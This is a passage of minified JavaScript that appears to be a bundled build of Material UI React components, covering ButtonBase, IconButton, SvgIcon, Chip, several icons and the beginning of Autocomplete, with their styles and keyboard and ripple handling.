i.useImperativeHandle(t,(()=>({pulsate:A,start:x,stop:w})),[A,x,w]),(0,We.jsx)(Qt,(0,o.A)({className:l(Vt.root,s.root,c),ref:y},u,{children:(0,We.jsx)(_t,{component:null,exit:!0,children:d})}))})),nn=tn;function rn(e){return qe("MuiButtonBase",e)}const on=Ke("MuiButtonBase",["root","disabled","focusVisible"]),an=["action","centerRipple","children","className","component","disabled","disableRipple","disableTouchRipple","focusRipple","focusVisibleClassName","LinkComponent","onBlur","onClick","onContextMenu","onDragLeave","onFocus","onFocusVisible","onKeyDown","onKeyUp","onMouseDown","onMouseLeave","onMouseUp","onTouchEnd","onTouchMove","onTouchStart","tabIndex","TouchRippleProps","touchRippleRef","type"],sn=rt("button",{name:"MuiButtonBase",slot:"Root",overridesResolver:(e,t)=>t.root})({display:"inline-flex",alignItems:"center",justifyContent:"center",position:"relative",boxSizing:"border-box",WebkitTapHighlightColor:"transparent",backgroundColor:"transparent",outline:0,border:0,margin:0,borderRadius:0,padding:0,cursor:"pointer",userSelect:"none",verticalAlign:"middle",MozAppearance:"none",WebkitAppearance:"none",textDecoration:"none",color:"inherit","&::-moz-focus-inner":{borderStyle:"none"},[`&.${on.disabled}`]:{pointerEvents:"none",cursor:"default"},"@media print":{colorAdjust:"exact"}}),ln=i.forwardRef((function(e,t){const n=it({props:e,name:"MuiButtonBase"}),{action:a,centerRipple:s=!1,children:u,className:d,component:p="button",disabled:f=!1,disableRipple:h=!1,disableTouchRipple:m=!1,focusRipple:v=!1,LinkComponent:g="a",onBlur:y,onClick:b,onContextMenu:x,onDragLeave:A,onFocus:w,onFocusVisible:k,onKeyDown:S,onKeyUp:C,onMouseDown:E,onMouseLeave:O,onMouseUp:R,onTouchEnd:P,onTouchMove:$,onTouchStart:M,tabIndex:T=0,TouchRippleProps:I,touchRippleRef:N,type:j}=n,L=(0,r.A)(n,an),z=i.useRef(null),D=i.useRef(null),F=xt(D,N),{isFocusVisibleRef:W,onFocus:_,onBlur:B,ref:V}=Tt(),[H,q]=i.useState(!1);f&&H&&q(!1),i.useImperativeHandle(a,(()=>({focusVisible:()=>{q(!0),z.current.focus()}})),[]);const[K,U]=i.useState(!1);i.useEffect((()=>{U(!0)}),[]);const X=K&&!h&&!f;function G(e,t,n=m){return At((r=>(t&&t(r),!n&&D.current&&D.current[e](r),!0)))}i.useEffect((()=>{H&&v&&!h&&K&&D.current.pulsate()}),[h,v,H,K]);const Y=G("start",E),J=G("stop",x),Z=G("stop",A),Q=G("stop",R),ee=G("stop",(e=>{H&&e.preventDefault(),O&&O(e)})),te=G("start",M),ne=G("stop",P),re=G("stop",$),oe=G("stop",(e=>{B(e),!1===W.current&&q(!1),y&&y(e)}),!1),ie=At((e=>{z.current||(z.current=e.currentTarget),_(e),!0===W.current&&(q(!0),k&&k(e)),w&&w(e)})),ae=()=>{const e=z.current;return p&&"button"!==p&&!("A"===e.tagName&&e.href)},se=i.useRef(!1),le=At((e=>{v&&!se.current&&H&&D.current&&" "===e.key&&(se.current=!0,D.current.stop(e,(()=>{D.current.start(e)}))),e.target===e.currentTarget&&ae()&&" "===e.key&&e.preventDefault(),S&&S(e),e.target===e.currentTarget&&ae()&&"Enter"===e.key&&!f&&(e.preventDefault(),b&&b(e))})),ce=At((e=>{v&&" "===e.key&&D.current&&H&&!e.defaultPrevented&&(se.current=!1,D.current.stop(e,(()=>{D.current.pulsate(e)}))),C&&C(e),b&&e.target===e.currentTarget&&ae()&&" "===e.key&&!e.defaultPrevented&&b(e)}));let ue=p;"button"===ue&&(L.href||L.to)&&(ue=g);const de={};"button"===ue?(de.type=void 0===j?"button":j,de.disabled=f):(L.href||L.to||(de.role="button"),f&&(de["aria-disabled"]=f));const pe=xt(t,V,z),fe=(0,o.A)({},n,{centerRipple:s,component:p,disabled:f,disableRipple:h,disableTouchRipple:m,focusRipple:v,tabIndex:T,focusVisible:H}),he=(e=>{const{disabled:t,focusVisible:n,focusVisibleClassName:r,classes:o}=e,i=c({root:["root",t&&"disabled",n&&"focusVisible"]},rn,o);return n&&r&&(i.root+=` ${r}`),i})(fe);return(0,We.jsxs)(sn,(0,o.A)({as:ue,className:l(he.root,d),ownerState:fe,onBlur:oe,onClick:b,onContextMenu:J,onFocus:ie,onKeyDown:le,onKeyUp:ce,onMouseDown:Y,onMouseLeave:ee,onMouseUp:Q,onDragLeave:Z,onTouchEnd:ne,onTouchMove:re,onTouchStart:te,ref:pe,tabIndex:f?-1:T,type:j},de,L,{children:[u,X?(0,We.jsx)(nn,(0,o.A)({ref:F,center:s},I)):null]}))})),cn=ln;function un(e){return qe("MuiIconButton",e)}const dn=Ke("MuiIconButton",["root","disabled","colorInherit","colorPrimary","colorSecondary","colorError","colorInfo","colorSuccess","colorWarning","edgeStart","edgeEnd","sizeSmall","sizeMedium","sizeLarge"]),pn=["edge","children","className","color","disabled","disableFocusRipple","size"],fn=rt(cn,{name:"MuiIconButton",slot:"Root",overridesResolver:(e,t)=>{const{ownerState:n}=e;return[t.root,"default"!==n.color&&t[`color${ct(n.color)}`],n.edge&&t[`edge${ct(n.edge)}`],t[`size${ct(n.size)}`]]}})((({theme:e,ownerState:t})=>(0,o.A)({textAlign:"center",flex:"0 0 auto",fontSize:e.typography.pxToRem(24),padding:8,borderRadius:"50%",overflow:"visible",color:(e.vars||e).palette.action.active,transition:e.transitions.create("background-color",{duration:e.transitions.duration.shortest})},!t.disableRipple&&{"&:hover":{backgroundColor:e.vars?`rgba(${e.vars.palette.action.activeChannel} / ${e.vars.palette.action.hoverOpacity})`:(0,u.X4)(e.palette.action.active,e.palette.action.hoverOpacity),"@media (hover: none)":{backgroundColor:"transparent"}}},"start"===t.edge&&{marginLeft:"small"===t.size?-3:-12},"end"===t.edge&&{marginRight:"small"===t.size?-3:-12})),(({theme:e,ownerState:t})=>{var n;const r=null==(n=(e.vars||e).palette)?void 0:n[t.color];return(0,o.A)({},"inherit"===t.color&&{color:"inherit"},"inherit"!==t.color&&"default"!==t.color&&(0,o.A)({color:null==r?void 0:r.main},!t.disableRipple&&{"&:hover":(0,o.A)({},r&&{backgroundColor:e.vars?`rgba(${r.mainChannel} / ${e.vars.palette.action.hoverOpacity})`:(0,u.X4)(r.main,e.palette.action.hoverOpacity)},{"@media (hover: none)":{backgroundColor:"transparent"}})}),"small"===t.size&&{padding:5,fontSize:e.typography.pxToRem(18)},"large"===t.size&&{padding:12,fontSize:e.typography.pxToRem(28)},{[`&.${dn.disabled}`]:{backgroundColor:"transparent",color:(e.vars||e).palette.action.disabled}})})),hn=i.forwardRef((function(e,t){const n=it({props:e,name:"MuiIconButton"}),{edge:i=!1,children:a,className:s,color:u="default",disabled:d=!1,disableFocusRipple:p=!1,size:f="medium"}=n,h=(0,r.A)(n,pn),m=(0,o.A)({},n,{edge:i,color:u,disabled:d,disableFocusRipple:p,size:f}),v=(e=>{const{classes:t,disabled:n,color:r,edge:o,size:i}=e;return c({root:["root",n&&"disabled","default"!==r&&`color${ct(r)}`,o&&`edge${ct(o)}`,`size${ct(i)}`]},un,t)})(m);return(0,We.jsx)(fn,(0,o.A)({className:l(v.root,s),centerRipple:!0,focusRipple:!p,disabled:d,ref:t},h,{ownerState:m,children:a}))}));function mn(e){return qe("MuiSvgIcon",e)}Ke("MuiSvgIcon",["root","colorPrimary","colorSecondary","colorAction","colorError","colorDisabled","fontSizeInherit","fontSizeSmall","fontSizeMedium","fontSizeLarge"]);const vn=["children","className","color","component","fontSize","htmlColor","inheritViewBox","titleAccess","viewBox"],gn=rt("svg",{name:"MuiSvgIcon",slot:"Root",overridesResolver:(e,t)=>{const{ownerState:n}=e;return[t.root,"inherit"!==n.color&&t[`color${ct(n.color)}`],t[`fontSize${ct(n.fontSize)}`]]}})((({theme:e,ownerState:t})=>{var n,r,o,i,a,s,l,c,u,d,p,f,h;return{userSelect:"none",width:"1em",height:"1em",display:"inline-block",fill:t.hasSvgAsChild?void 0:"currentColor",flexShrink:0,transition:null==(n=e.transitions)||null==(r=n.create)?void 0:r.call(n,"fill",{duration:null==(o=e.transitions)||null==(o=o.duration)?void 0:o.shorter}),fontSize:{inherit:"inherit",small:(null==(i=e.typography)||null==(a=i.pxToRem)?void 0:a.call(i,20))||"1.25rem",medium:(null==(s=e.typography)||null==(l=s.pxToRem)?void 0:l.call(s,24))||"1.5rem",large:(null==(c=e.typography)||null==(u=c.pxToRem)?void 0:u.call(c,35))||"2.1875rem"}[t.fontSize],color:null!=(d=null==(p=(e.vars||e).palette)||null==(p=p[t.color])?void 0:p.main)?d:{action:null==(f=(e.vars||e).palette)||null==(f=f.action)?void 0:f.active,disabled:null==(h=(e.vars||e).palette)||null==(h=h.action)?void 0:h.disabled,inherit:void 0}[t.color]}})),yn=i.forwardRef((function(e,t){const n=it({props:e,name:"MuiSvgIcon"}),{children:a,className:s,color:u="inherit",component:d="svg",fontSize:p="medium",htmlColor:f,inheritViewBox:h=!1,titleAccess:m,viewBox:v="0 0 24 24"}=n,g=(0,r.A)(n,vn),y=i.isValidElement(a)&&"svg"===a.type,b=(0,o.A)({},n,{color:u,component:d,fontSize:p,instanceFontSize:e.fontSize,inheritViewBox:h,viewBox:v,hasSvgAsChild:y}),x={};h||(x.viewBox=v);const A=(e=>{const{color:t,fontSize:n,classes:r}=e;return c({root:["root","inherit"!==t&&`color${ct(t)}`,`fontSize${ct(n)}`]},mn,r)})(b);return(0,We.jsxs)(gn,(0,o.A)({as:d,className:l(A.root,s),focusable:"false",color:f,"aria-hidden":!m||void 0,role:m?"img":void 0,ref:t},x,g,y&&a.props,{ownerState:b,children:[y?a.props.children:a,m?(0,We.jsx)("title",{children:m}):null]}))}));yn.muiName="SvgIcon";const bn=yn;function xn(e,t){function n(n,r){return(0,We.jsx)(bn,(0,o.A)({"data-testid":`${t}Icon`,ref:r},n,{children:e}))}return n.muiName=bn.muiName,i.memo(i.forwardRef(n))}const An=xn((0,We.jsx)("path",{d:"M12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.47 10-10S17.53 2 12 2zm5 13.59L15.59 17 12 13.41 8.41 17 7 15.59 10.59 12 7 8.41 8.41 7 12 10.59 15.59 7 17 8.41 13.41 12 17 15.59z"}),"Cancel");function wn(e){return qe("MuiChip",e)}const kn=Ke("MuiChip",["root","sizeSmall","sizeMedium","colorError","colorInfo","colorPrimary","colorSecondary","colorSuccess","colorWarning","disabled","clickable","clickableColorPrimary","clickableColorSecondary","deletable","deletableColorPrimary","deletableColorSecondary","outlined","filled","outlinedPrimary","outlinedSecondary","filledPrimary","filledSecondary","avatar","avatarSmall","avatarMedium","avatarColorPrimary","avatarColorSecondary","icon","iconSmall","iconMedium","iconColorPrimary","iconColorSecondary","label","labelSmall","labelMedium","deleteIcon","deleteIconSmall","deleteIconMedium","deleteIconColorPrimary","deleteIconColorSecondary","deleteIconOutlinedColorPrimary","deleteIconOutlinedColorSecondary","deleteIconFilledColorPrimary","deleteIconFilledColorSecondary","focusVisible"]),Sn=["avatar","className","clickable","color","component","deleteIcon","disabled","icon","label","onClick","onDelete","onKeyDown","onKeyUp","size","variant","tabIndex","skipFocusWhenDisabled"],Cn=rt("div",{name:"MuiChip",slot:"Root",overridesResolver:(e,t)=>{const{ownerState:n}=e,{color:r,iconColor:o,clickable:i,onDelete:a,size:s,variant:l}=n;return[{[`& .${kn.avatar}`]:t.avatar},{[`& .${kn.avatar}`]:t[`avatar${ct(s)}`]},{[`& .${kn.avatar}`]:t[`avatarColor${ct(r)}`]},{[`& .${kn.icon}`]:t.icon},{[`& .${kn.icon}`]:t[`icon${ct(s)}`]},{[`& .${kn.icon}`]:t[`iconColor${ct(o)}`]},{[`& .${kn.deleteIcon}`]:t.deleteIcon},{[`& .${kn.deleteIcon}`]:t[`deleteIcon${ct(s)}`]},{[`& .${kn.deleteIcon}`]:t[`deleteIconColor${ct(r)}`]},{[`& .${kn.deleteIcon}`]:t[`deleteIcon${ct(l)}Color${ct(r)}`]},t.root,t[`size${ct(s)}`],t[`color${ct(r)}`],i&&t.clickable,i&&"default"!==r&&t[`clickableColor${ct(r)})`],a&&t.deletable,a&&"default"!==r&&t[`deletableColor${ct(r)}`],t[l],t[`${l}${ct(r)}`]]}})((({theme:e,ownerState:t})=>{const n="light"===e.palette.mode?e.palette.grey[700]:e.palette.grey[300];return(0,o.A)({maxWidth:"100%",fontFamily:e.typography.fontFamily,fontSize:e.typography.pxToRem(13),display:"inline-flex",alignItems:"center",justifyContent:"center",height:32,color:(e.vars||e).palette.text.primary,backgroundColor:(e.vars||e).palette.action.selected,borderRadius:16,whiteSpace:"nowrap",transition:e.transitions.create(["background-color","box-shadow"]),cursor:"unset",outline:0,textDecoration:"none",border:0,padding:0,verticalAlign:"middle",boxSizing:"border-box",[`&.${kn.disabled}`]:{opacity:(e.vars||e).palette.action.disabledOpacity,pointerEvents:"none"},[`& .${kn.avatar}`]:{marginLeft:5,marginRight:-6,width:24,height:24,color:e.vars?e.vars.palette.Chip.defaultAvatarColor:n,fontSize:e.typography.pxToRem(12)},[`& .${kn.avatarColorPrimary}`]:{color:(e.vars||e).palette.primary.contrastText,backgroundColor:(e.vars||e).palette.primary.dark},[`& .${kn.avatarColorSecondary}`]:{color:(e.vars||e).palette.secondary.contrastText,backgroundColor:(e.vars||e).palette.secondary.dark},[`& .${kn.avatarSmall}`]:{marginLeft:4,marginRight:-4,width:18,height:18,fontSize:e.typography.pxToRem(10)},[`& .${kn.icon}`]:(0,o.A)({marginLeft:5,marginRight:-6},"small"===t.size&&{fontSize:18,marginLeft:4,marginRight:-4},t.iconColor===t.color&&(0,o.A)({color:e.vars?e.vars.palette.Chip.defaultIconColor:n},"default"!==t.color&&{color:"inherit"})),[`& .${kn.deleteIcon}`]:(0,o.A)({WebkitTapHighlightColor:"transparent",color:e.vars?`rgba(${e.vars.palette.text.primaryChannel} / 0.26)`:(0,u.X4)(e.palette.text.primary,.26),fontSize:22,cursor:"pointer",margin:"0 5px 0 -6px","&:hover":{color:e.vars?`rgba(${e.vars.palette.text.primaryChannel} / 0.4)`:(0,u.X4)(e.palette.text.primary,.4)}},"small"===t.size&&{fontSize:16,marginRight:4,marginLeft:-4},"default"!==t.color&&{color:e.vars?`rgba(${e.vars.palette[t.color].contrastTextChannel} / 0.7)`:(0,u.X4)(e.palette[t.color].contrastText,.7),"&:hover, &:active":{color:(e.vars||e).palette[t.color].contrastText}})},"small"===t.size&&{height:24},"default"!==t.color&&{backgroundColor:(e.vars||e).palette[t.color].main,color:(e.vars||e).palette[t.color].contrastText},t.onDelete&&{[`&.${kn.focusVisible}`]:{backgroundColor:e.vars?`rgba(${e.vars.palette.action.selectedChannel} / calc(${e.vars.palette.action.selectedOpacity} + ${e.vars.palette.action.focusOpacity}))`:(0,u.X4)(e.palette.action.selected,e.palette.action.selectedOpacity+e.palette.action.focusOpacity)}},t.onDelete&&"default"!==t.color&&{[`&.${kn.focusVisible}`]:{backgroundColor:(e.vars||e).palette[t.color].dark}})}),(({theme:e,ownerState:t})=>(0,o.A)({},t.clickable&&{userSelect:"none",WebkitTapHighlightColor:"transparent",cursor:"pointer","&:hover":{backgroundColor:e.vars?`rgba(${e.vars.palette.action.selectedChannel} / calc(${e.vars.palette.action.selectedOpacity} + ${e.vars.palette.action.hoverOpacity}))`:(0,u.X4)(e.palette.action.selected,e.palette.action.selectedOpacity+e.palette.action.hoverOpacity)},[`&.${kn.focusVisible}`]:{backgroundColor:e.vars?`rgba(${e.vars.palette.action.selectedChannel} / calc(${e.vars.palette.action.selectedOpacity} + ${e.vars.palette.action.focusOpacity}))`:(0,u.X4)(e.palette.action.selected,e.palette.action.selectedOpacity+e.palette.action.focusOpacity)},"&:active":{boxShadow:(e.vars||e).shadows[1]}},t.clickable&&"default"!==t.color&&{[`&:hover, &.${kn.focusVisible}`]:{backgroundColor:(e.vars||e).palette[t.color].dark}})),(({theme:e,ownerState:t})=>(0,o.A)({},"outlined"===t.variant&&{backgroundColor:"transparent",border:e.vars?`1px solid ${e.vars.palette.Chip.defaultBorder}`:`1px solid ${"light"===e.palette.mode?e.palette.grey[400]:e.palette.grey[700]}`,[`&.${kn.clickable}:hover`]:{backgroundColor:(e.vars||e).palette.action.hover},[`&.${kn.focusVisible}`]:{backgroundColor:(e.vars||e).palette.action.focus},[`& .${kn.avatar}`]:{marginLeft:4},[`& .${kn.avatarSmall}`]:{marginLeft:2},[`& .${kn.icon}`]:{marginLeft:4},[`& .${kn.iconSmall}`]:{marginLeft:2},[`& .${kn.deleteIcon}`]:{marginRight:5},[`& .${kn.deleteIconSmall}`]:{marginRight:3}},"outlined"===t.variant&&"default"!==t.color&&{color:(e.vars||e).palette[t.color].main,border:`1px solid ${e.vars?`rgba(${e.vars.palette[t.color].mainChannel} / 0.7)`:(0,u.X4)(e.palette[t.color].main,.7)}`,[`&.${kn.clickable}:hover`]:{backgroundColor:e.vars?`rgba(${e.vars.palette[t.color].mainChannel} / ${e.vars.palette.action.hoverOpacity})`:(0,u.X4)(e.palette[t.color].main,e.palette.action.hoverOpacity)},[`&.${kn.focusVisible}`]:{backgroundColor:e.vars?`rgba(${e.vars.palette[t.color].mainChannel} / ${e.vars.palette.action.focusOpacity})`:(0,u.X4)(e.palette[t.color].main,e.palette.action.focusOpacity)},[`& .${kn.deleteIcon}`]:{color:e.vars?`rgba(${e.vars.palette[t.color].mainChannel} / 0.7)`:(0,u.X4)(e.palette[t.color].main,.7),"&:hover, &:active":{color:(e.vars||e).palette[t.color].main}}}))),En=rt("span",{name:"MuiChip",slot:"Label",overridesResolver:(e,t)=>{const{ownerState:n}=e,{size:r}=n;return[t.label,t[`label${ct(r)}`]]}})((({ownerState:e})=>(0,o.A)({overflow:"hidden",textOverflow:"ellipsis",paddingLeft:12,paddingRight:12,whiteSpace:"nowrap"},"outlined"===e.variant&&{paddingLeft:11,paddingRight:11},"small"===e.size&&{paddingLeft:8,paddingRight:8},"small"===e.size&&"outlined"===e.variant&&{paddingLeft:7,paddingRight:7})));function On(e){return"Backspace"===e.key||"Delete"===e.key}const Rn=i.forwardRef((function(e,t){const n=it({props:e,name:"MuiChip"}),{avatar:a,className:s,clickable:u,color:d="default",component:p,deleteIcon:f,disabled:h=!1,icon:m,label:v,onClick:g,onDelete:y,onKeyDown:b,onKeyUp:x,size:A="medium",variant:w="filled",tabIndex:k,skipFocusWhenDisabled:S=!1}=n,C=(0,r.A)(n,Sn),E=i.useRef(null),O=xt(E,t),R=e=>{e.stopPropagation(),y&&y(e)},P=!(!1===u||!g)||u,$=P||y?cn:p||"div",M=(0,o.A)({},n,{component:$,disabled:h,size:A,color:d,iconColor:i.isValidElement(m)&&m.props.color||d,onDelete:!!y,clickable:P,variant:w}),T=(e=>{const{classes:t,disabled:n,size:r,color:o,iconColor:i,onDelete:a,clickable:s,variant:l}=e;return c({root:["root",l,n&&"disabled",`size${ct(r)}`,`color${ct(o)}`,s&&"clickable",s&&`clickableColor${ct(o)}`,a&&"deletable",a&&`deletableColor${ct(o)}`,`${l}${ct(o)}`],label:["label",`label${ct(r)}`],avatar:["avatar",`avatar${ct(r)}`,`avatarColor${ct(o)}`],icon:["icon",`icon${ct(r)}`,`iconColor${ct(i)}`],deleteIcon:["deleteIcon",`deleteIcon${ct(r)}`,`deleteIconColor${ct(o)}`,`deleteIcon${ct(l)}Color${ct(o)}`]},wn,t)})(M),I=$===cn?(0,o.A)({component:p||"div",focusVisibleClassName:T.focusVisible},y&&{disableRipple:!0}):{};let N=null;y&&(N=f&&i.isValidElement(f)?i.cloneElement(f,{className:l(f.props.className,T.deleteIcon),onClick:R}):(0,We.jsx)(An,{className:l(T.deleteIcon),onClick:R}));let j=null;a&&i.isValidElement(a)&&(j=i.cloneElement(a,{className:l(T.avatar,a.props.className)}));let L=null;return m&&i.isValidElement(m)&&(L=i.cloneElement(m,{className:l(T.icon,m.props.className)})),(0,We.jsxs)(Cn,(0,o.A)({as:$,className:l(T.root,s),disabled:!(!P||!h)||void 0,onClick:g,onKeyDown:e=>{e.currentTarget===e.target&&On(e)&&e.preventDefault(),b&&b(e)},onKeyUp:e=>{e.currentTarget===e.target&&(y&&On(e)?y(e):"Escape"===e.key&&E.current&&E.current.blur()),x&&x(e)},ref:O,tabIndex:S&&h?-1:k,ownerState:M},I,C,{children:[j||L,(0,We.jsx)(En,{className:l(T.label),ownerState:M,children:v}),N]}))})),Pn=Ke("MuiInputBase",["root","formControl","focused","disabled","adornedStart","adornedEnd","error","sizeSmall","multiline","colorSecondary","fullWidth","hiddenLabel","readOnly","input","inputSizeSmall","inputMultiline","inputTypeSearch","inputAdornedStart","inputAdornedEnd","inputHiddenLabel"]),$n=(0,o.A)({},Pn,Ke("MuiInput",["root","underline","input"])),Mn=(0,o.A)({},Pn,Ke("MuiOutlinedInput",["root","notchedOutline","input"])),Tn=(0,o.A)({},Pn,Ke("MuiFilledInput",["root","underline","input"])),In=xn((0,We.jsx)("path",{d:"M19 6.41L17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"}),"Close"),Nn=xn((0,We.jsx)("path",{d:"M7 10l5 5 5-5z"}),"ArrowDropDown");function jn(e){return qe("MuiAutocomplete",e)}const Ln=Ke("MuiAutocomplete",["root","expanded","fullWidth","focused","focusVisible","tag","tagSizeSmall","tagSizeMedium","hasPopupIcon","hasClearIcon","inputRoot","input","inputFocused","endAdornment","clearIndicator","popupIndicator","popupIndicatorOpen","popper","popperDisablePortal","paper","listbox","loading","noOptions","option","groupLabel","groupUl"]);var zn,Dn;const Fn=["autoComplete","autoHighlight","autoSelect","blurOnSelect","ChipProps","className","clearIcon","clearOnBlur","clearOnEscape","clearText","closeText","componentsProps","defaultValue","disableClearable","disableCloseOnSelect","disabled","disabledItemsFocusable","disableListWrap","disablePortal","filterOptions","filterSelectedOptions","forcePopupIcon","freeSolo","fullWidth","getLimitTagsText","getOptionDisabled","getOptionKey","getOptionLabel","isOptionEqualToValue","groupBy","handleHomeEndKeys","id","includeInputInList","inputValue","limitTags","ListboxComponent","ListboxProps","loading","loadingText","multiple","noOptionsText","onChange","onClose","onHighlightChange","onInputChange","onOpen","open","openOnFocus","openText","options","PaperComponent","PopperComponent","popupIcon","readOnly","renderGroup","renderInput","renderOption","renderTags","selectOnFocus","size","slotProps","value"],Wn=["ref"],Bn=["key"],Vn=["key"],Hn=rt("div",{name:"MuiAutocomplete",slot:"Root",overridesResolver:(e,t)=>{const{ownerState:n}=e,{fullWidth:r,hasClearIcon:o,hasPopupIcon:i,inputFocused:a,size:s}=n;return[{[`& .${Ln.tag}`]:t.tag},{[`& .${Ln.tag}`]:t[`tagSize${ct(s)}`]},{[`& .${Ln.inputRoot}`]:t.inputRoot},{[`& .${Ln.input}`]:t.input},{[`& .${Ln.input}`]:a&&t.inputFocused},t.root,r&&t.fullWidth,i&&t.hasPopupIcon,o&&t.hasClearIcon]}})({[`&.${Ln.focused} .${Ln.clearIndicator}`]:{visibility:"visible"},"@media (pointer: fine)":{[`&:hover .${Ln.clearIndicator}`]:{visibility:"visible"}},[`& .${Ln.tag}`]:{margin:3,maxWidth:"calc(100% - 6px)"},[`& .${Ln.inputRoot}`]:{[`.${Ln.hasPopupIcon}&, .${Ln.hasClearIcon}&`]:{paddingRight:30},[`.${Ln.hasPopupIcon}.${Ln.hasClearIcon}&`]:{paddingRight:56},[`& .${Ln.input}`]:{width:0,minWidth:30}},[`& .${$n.root}`]:{paddingBottom:1,"& .MuiInput-input":{padding:"4px 4px 4px 0px"}},[`& .${$n.root}.${Pn.sizeSmall}`]:{[`& .${$n.input}`]:{padding:"2px 4px 3px 0"}},[`& .${Mn.root}`]:{padding:9,[`.${Ln.hasPopupIcon}&, .${Ln.hasClearIcon}&`]:{paddingRight:39},[`.${Ln.hasPopupIcon}.${Ln.hasClearIcon}&`]:{paddingRight:65},[`& .${Ln.input}`]:{padding:"7.5px 4px 7.5px 5px"},[`& .${Ln.endAdornment}`]:{right:9}},[`& .${Mn.root}.${Pn.sizeSmall}`]:{paddingTop:6,paddingBottom:6,paddingLeft:6,[`& .${Ln.input}`]:{padding:"2.5px 4px 2.5px 8px"}},[`& .${Tn.root}`]:{paddingTop:19,paddingLeft:8,[`.${Ln.hasPopupIcon}&, .${Ln.hasClearIcon}&`]:{paddingRight:39},[`.${Ln.hasPopupIcon}.${Ln.hasClearIcon}&`]:{paddingRight:65},[`& .${Tn.input}`]:{padding:"7px 4px"},[`& .${Ln.endAdornment}`]:{right:9}},[`& .${Tn.root}.${Pn.sizeSmall}`]:{paddingBottom:1,[`& .${Tn.input}`]:{padding:"2.5px 4px"}},[`& .${Pn.hiddenLabel}`]:{paddingTop:8},[`& .${Tn.root}.${Pn.hiddenLabel}`]:{paddingTop:0,paddingBottom:0,[`& .${Ln.input}`]:{paddingTop:16,paddingBottom:17}},[`& .${Tn.root}.${Pn.hiddenLabel}.${Pn.sizeSmall}`]:{[`& .${Ln.input}`]:{paddingTop:8,paddingBottom:9}},[`& .${Ln.input}`]:{flexGrow:1,textOverflow:"ellipsis",opacity:0},variants:[{props:{fullWidth:!0},style:{width:"100%"}},{props:{size:"small"},style:{[`& .${Ln.tag}`]:{margin:2,maxWidth:"calc(100% - 4px)"}}},{props:{inputFocused:!0},style:{[`& .${Ln.input}`]:{opacity:1}}},{props:{multiple:!0},style:{[`& .${Ln.inputRoot}`]:{flexWrap:"wrap"}}}]}),qn=rt("div",{name:"MuiAutocomplete",slot:"EndAdornment",overridesResolver:(e,t)=>t.endAdornment})({position:"absolute",right:0,top:"50%",transform:"translate(0, -50%)"}),Kn=rt(hn,{name:"MuiAutocomplete",slot:"ClearIndicator",overridesResolver:(e,t)=>t.clearIndicator})({marginRight:-2,padding:4,visibility:"hidden"}),Un=rt(hn,{name:"MuiAutocomplete",slot:"PopupIndicator",overridesResolver:({ownerState:e},t)=>(0,o.A)({},t.popupIndicator,e.popupOpen&&t.popupIndicatorOpen)})({padding:2,marginRight:-2,variants:[{props:{popupOpen:!0},style:{transform:"rotate(180deg)"}}]}),Xn=rt(lt,{name:"MuiAutocomplete",slot:"Popper",overridesResolver:(e,t)=>{const{ownerState:n}=e;return[{[`& .${Ln.option}`]:t.option},t.popper,n.disablePortal&&t.popperDisablePortal]}})((({theme:e})=>({zIndex:(e.vars||e).zIndex.modal,variants:[{props:{disablePortal:!0},style:{position:"absolute"}}]}))),Gn=rt(bt,{name:"MuiAutocomplete",slot:"Paper",overridesResolver:(e,t)=>t.paper})((({theme:e})=>(0,o.A)({},e.typography.body1,{overflow:"auto"}))),Yn=rt("div",{name:"MuiAutocomplete",slot:"Loading",overridesResolver:(e,t)=>t.loading})((({theme:e})=>({color:(e.vars||e).palette.text.secondary,padding:"14px 16px"}))),Jn=rt("div",{name:"MuiAutocomplete",slot:"NoOptions",overridesResolver:(e,t)=>t.noOptions})((({theme:e})=>({color:(e.vars||e).palette.text.secondary,padding:"14px 16px"}))),Zn=rt("div",{name:"MuiAutocomplete",slot:"Listbox",overridesResolver:(e,t)=>t.listbox})((({theme:e})=>({listStyle:"none",margin:0,padding:"8px 0",maxHeight:"40vh",overflow:"auto",position:"relative",[`& .${Ln.option}`]:{minHeight:48,display:"flex",overflow:"hidden",justifyContent:"flex-start",alignItems:"center",cursor:"pointer",paddingTop:6,boxSizing:"border-box",outline:"0",WebkitTapHighlightColor:"transparent",paddingBottom:6,paddingLeft:16,paddingRight:16,[e.breakpoints.up("sm")]:{minHeight:"auto"},[`&.${Ln.focused}`]:{backgroundColor:(e.vars||e).palette.action.hover,"@media (hover: none)":{backgroundColor:"transparent"}},'&[aria-disabled="true"]':{opacity:(e.vars||e).palette.action.disabledOpacity,pointerEvents:"none"},[`&.${Ln.focusVisible}`]:{backgroundColor:(e.vars||e).palette.action.focus},'&[aria-selected="true"]':{backgroundColor:e.vars?`rgba(${e.vars.palette.primary.mainChannel} / ${e.vars.palette.action.selectedOpacity})`:(0,u.X4)(e.palette.primary.main,e.palette.action.selectedOpacity),[`&.${Ln.focused}`]:{backgroundColor:e.vars?`rgba(${e.vars.palette.primary.mainChannel} / calc(${e.vars.palette.action.selectedOpacity} + ${e.vars.palette.action.hoverOpacity}))`:(0,u.X4)(e.palette.primary.main,e.palette.action.selectedOpacity+e.palette.action.hoverOpacity),"@media (hover: none)":{backgroundColor:(e.vars||e).palette.action.selected}},[`&.${Ln.focusVisible}`]:{backgroundColor:e.vars?`rgba(${e.vars.palette.primary.mainChannel} / calc(${e.vars.palette.action.selectedOpacity} + ${e.vars.palette.action.focusOpacity}))`:(0,u.X4)(e.palette.primary.main,e.palette.action.selectedOpacity+e.palette.action.focusOpacity)}}}}))),Qn=rt(ht,{name:"MuiAutocomplete",slot:"GroupLabel",overridesResolver:(e,t)=>t.groupLabel})((({theme:e})=>({backgroundColor:(e.vars||e).palette.background.paper,top:-8}))),er=rt("ul",{name:"MuiAutocomplete",slot:"GroupUl",overridesResolver:(e,t)=>t.groupUl})({padding:0,[`& .${Ln.option}`]:{paddingLeft:24}}),tr=i.forwardRef((function(e,t){var n,a,s,u;const 